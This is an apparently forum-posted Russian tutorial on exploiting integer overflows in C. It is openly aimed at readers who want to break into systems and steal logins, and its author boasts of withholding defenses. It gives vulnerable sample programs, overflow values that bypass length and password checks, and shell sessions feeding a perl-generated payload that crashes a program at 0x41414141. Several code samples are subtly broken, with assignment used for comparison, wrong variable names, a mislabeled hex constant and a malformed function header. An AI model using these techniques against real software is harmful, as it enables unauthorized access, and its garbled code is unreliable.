Hello, All!
И так, если есть люди, которые тоже считают, что хорошими делами
прославиться нельзя и хотят атаковать, подбирать и извлекать чужие
логины и пароли, то нижеследующая инфа для них. Примечание, для
понимания изложенного неплохо бы немного разбираться в
программировании. Защита от этого безобразия, конечно есть, но где вы
видели, чтобы я публиковал методы защиты! ;) ;) ;) ;) тогда я бы был
не я!!! ;)
Integer overflow
Что такое Integer Overflow?
Как было изложено выше для переменной типа Integer, отводится в памяти
4 байта. Переполнение происходит при попытке записать в переменную
значение превышающее максимально возможное число. Поведение программы
в таких ситуациях полностью зависят от используемого компилятора.
Потому, как согласно стандарту ISO C99 каждый компилятор при таком
переполнении может делать все что угодно, от игнорирования до
аварийного завершения программы. В большинства компиляторах какраз
ничего и не делается :) Этот вид атаки опасен еще и тем, что
приложение не может определить произошло переполнение или нет
(вообще-то есть способ определить произошло переполнение или нет, но
это уже другая тема...). Переполнения целых чисел можно использовать
для влияния на значения некоторых критических данных, например размера
буфера, индекса элемента массива, и т.д. Но на практике можно
столкнутся с трудностью использования этой уязвимости. Все дело в том
это переполнение в большинстве случяев не может непосредственно
переписать область памяти(в отличии от Buffer Overflow и Heap
overflow). Но применение этой уязвимости может легко вызвать и ошибки
другого класса. В большинстве случаев возникает возможность
переполнения буфера (Buffer Overflow). По словам ISO C99 уязвимость
исчезает при использовании в вычислениях Unsigned Integer. Но давайте
проверим действительно ли это так. Обьявим две переменные A и B, типа
Unsigned Integer. Далее занесем в А максимальное значение Unsigned
Integer - 4294967295, а в В -1:
unsigned int A=0xFFFFFFFF;
unsigned int B=0x1;
В результате выполнения операции (А+В) полученное значение, согласно
стандарту ISO, не вмещается в 32 бита. В таком случае результатом
будет (А+В) mod 0x100000000. mod - остаток от деления, например (8 mod
2 =0), а (8 mod 3=2). Следовательно, наш результат будет равен
выражению:
result=(A+B) % 0x100000000;
подставив наши значения получим следующее:
result=(0xffffffff + 0x1) % 0x100000000;
//result=(0x100000000) % 0x100000000;
//result=0;
Как видно результат вышел равен нулю. Не совсем то, что должно было
выйти :) Этот эффект называют "wrap around", тоесть вращение вокруг
нуля.
На этом теоретическая часть заканчивается. Дальше мы рассмотрим
несколько примеров уязвимых программ, и попробуем реализовать успешную
атаку.
Как применить Integer Overflow?
Для начала рассмотрим самый простой вариант. Есть некая программа для
роботы с ней нужно ввести логи пароль и длину пароля. Такой вариант вы
нигде не встретите в реальной ситуации, хотя если речь идет о Web
приложениях такая авторизация возможна.
int main(int argc,char **argv) {
//создаем переменные для хранения данных
char chLogin[100];
char chPassword[100];
int intPasswordLength;
//заносим в них пользовательские данные
strcpy(chLogin,argv[1]);
strcpy(chPassword,argv[2]);
intPasswordLength=atoi(argv[3]);
//флаг дающий пользователю права администратора
int admin=0;
char chOriginalPassword[100]="administrator";
//простая проверка
if(intPasswordLength<1)intPasswordLength=0;
intPasswordLength++;
if(chLogin="admin"){
admin=1;
for(i=0;i<=intPasswordLength;i++)
if((chPassword[i])!=chOriginalPassword[i])
admin=0;
}
setUserStastusAdmin(admin);
}
Хочу сразу сказать что явную возможность Buffer Overflow я упускаю,
так как нас интересует другое. Давайте внимательно посмотрим на
исходник, есть некая переменная admin, которая используется как флаг.
Если ее значение равно нулю, значит пользователь не имеет прав
администратора и наоборот. По умолчанию значение флага устанавливается
в ноль (то есть гость) , если введенный логин "admin", то флаг
устанавливается в один. Дальше происходит посимвольная проверка пароля
введенного пользователем и настоящим паролем. В случае нахождения
различий флаг снова устанавливается в ноль. Хочу обратить ваше
внимание на цикл:
for(i=0;i<=intPasswordLength;i++)
Все дело в том что если intPasswordLength меньше за начальное
значение(в данном случае ноль), то цикл выполнятся не будет. Но это в
программе предусмотрено:
if(intPasswordLength<1)intPasswordLength=0;
intPasswordLength++;
Но тут как раз вспомнить о Integer Overflow! Поскольку используется не
Unsigned Integer, установив значение в 2147483647(0xFFFFFFFF) оно
пройдет проверку и увеличится на один, но из выше сказанного
получается что результатом будет не 2147483648, а -2147483648. При
такой ситуации цикл исполняться не будет и достаточно просто угадать
логин.
В принципе механизм взлома зависит от структуры программы. Для
прошлого примера упрощенный вариант выглядел бы следующим образом:
int main(int argc, char **argv) {
int intNum=10;
printf(" intNum=%d\n", intNum);
intNum=2147483647;
printf(" intNum=%d\n", intNum);
//а вот и переполнение:
fd++;
printf(" intNum=%d\n", intNum);
}
Как видите все просто. Но как было сказано в начале статьи эта ошибка
дает доступ использованию других видов атак. Рассмотрим следующий
пример:
main(int argc, char **argv) {
char chData[100];
int intOffset=atoi(argv[1]);
//опять проверка
if(intOffset<0) intOffset=-intOffset;
intOffset++;
printf("intOffset=%d/n",intOffset);
snprintf(chData,sizeof(chData)-intOffset,"%s",argv[2]);
printf("chData='%s'\n",chData);
}
А теперь давайте поиграем с входными параметрами. Скомпилим наш
пример:
gcc -o demo demo.c
Проведем три эксперимента:
[digitalscream@]# ./demo 100 AAAAAAAAAA
intOffset=100
chData='AAAAAAAAAA'
[digitalscream@]# ./demo 2147483647 AAAAAAAAAA
intOffset=-2147483648
chData='AAAAAAAAAA'
[digitalscream@]# ./demo 2147483647 `perl -e 'print "A"x700'`
intOffset=-2147483648
chData='A...[700 символов]...A'
Segmentation fault (core dumped)
[digitalscream@]# gdb demo core
GNU gdb 5.0rh-5 Red Hat Linux 7.2
...
#0 0x41414141 in ?? ()
(gdb)
Все, это уже переполнение буфера! Оно возникает, потому что chData
размером в 100 байт, не может принять значение длинной
(sizeof(chData)-intOffset). Потому как после инкремента intOffset
будет отрицательным и результат выражения (sizeof(chData)-intOffset)
намного превысит размер буфера chData.
Вот еще один интересный пример:
int main(int argc, char *argv[]){
unsigned short shLength;
int intLength;
char chBuffer[100];
intLength=atoi(argv[1]);
shLength=intLength;
//проверка:
if(intLength>=100){
printf("Error!\n");
return -1;
}
printf("shLength=%d\n",shLength);
memcpy(chBuffer, argv[2], intLength);
intBuffer[intLength] = '\0';
printf("%s\n",intBuffer);
return 0;
}
Проведем снова три эксперимента:
[digitalscream@]# ./demo 5 AAAAA
shLength=5
AAAAA
[digitalscream@]# ./demo 100 AAAAA
Error!
Кажется ничего нельзя сделать , но тут мы ввели тип short его длинна
16 бит. Указав в качестве первого параметра 65536, intLength будет
равно 65536, так как для Integer максимальное значение 2147483647. Но
в проверке длинны используется тип Unsigned Short, максимальное
значение которого 65535. А поскольку мы ввели 65536, то при переводе с
Integer в Unsigned Short, значение shLength станет 0, вспомните "wrap
around". Следовательно проверка пройдет успешно, а переполнение буфера
все равно произойдет:
[digitalscream@]# ./demo 65536 AAAAA
shLength=0
Segmentation fault (core dumped)
Следующий пример прост до невозможного:
int main(int argc, char *argv[]){
char *chBufferOne;
char *chBufferTwo;
unsigned int intBufferOneLength;
unsigned int intBufferTwoLength){
char chBuffer[256];
.............................
//несложная проверка:
if((intBufferOneLength+intBufferTwoLength)>256){
return -1;
}
memcpy(chBuffer,chBufferOne,intBufferOneLength);
memcpy(chBuffer+intBufferOneLength,chBufferTwo,intBufferTwoLength);
.............................
return 0;
}
Весь трюк заключается в том, чтобы обойти проверку:
(intBufferOneLength+intBufferTwoLength)>256)
Учитывая особенности типа Unsigned Integer, легко увидеть, что нужно
подобрать два числа которые в суме перевалили бы за максимальное
значение типа, например:
intBufferOneLength=0x104;
intBufferTwoLength=0xFFFFFFFC;
Примеров можно приводить сколько угодно и в каждом из них будет своя
изюминка. Невозможно объять необъятное, поэтому если вы решили
попробовать себя в этом деле, советую почитать следующие материалы:
1. Название: Modern kinds of system attacks
Автор: Limpid Byte
Адрес: http://www.void.ru/content/1042
Описание: Достаточно хороший документ на тему актуальных в наше время
уязвимостей.
2. Название: Basic Integer Overflows
Автор: blexim
Адрес:
http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=60&a=10
Описание: Лучшее описание уязвимостей класса Integer Overflow.
P.S. некоторые примеры взяты с phrack #60